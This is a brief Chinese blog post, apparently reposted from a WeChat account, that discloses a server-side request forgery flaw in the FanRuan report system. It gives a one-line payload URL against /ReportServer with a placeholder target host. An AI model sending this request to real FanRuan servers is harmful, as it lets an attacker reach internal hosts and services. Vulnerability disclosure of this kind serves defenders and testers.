帆软报表系统SSRF

admin 2024年9月28日13:50:42评论20 views字数 162阅读0分32秒阅读模式
有子曰:“信近于义,言可复也。恭近礼,远耻辱也。因不失其亲,亦可宗也。”

SSRF

构造payload,访问漏洞url:

/ReportServer?op=resource&resource=http://x.x.x

漏洞证明:

帆软报表系统SSRF

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

原文始发于微信公众号(儒道易行):帆软报表系统SSRF

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日13:50:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   帆软报表系统SSRFhttp://cn-sec.com/archives/1983720.html

发表评论

匿名网友 填写信息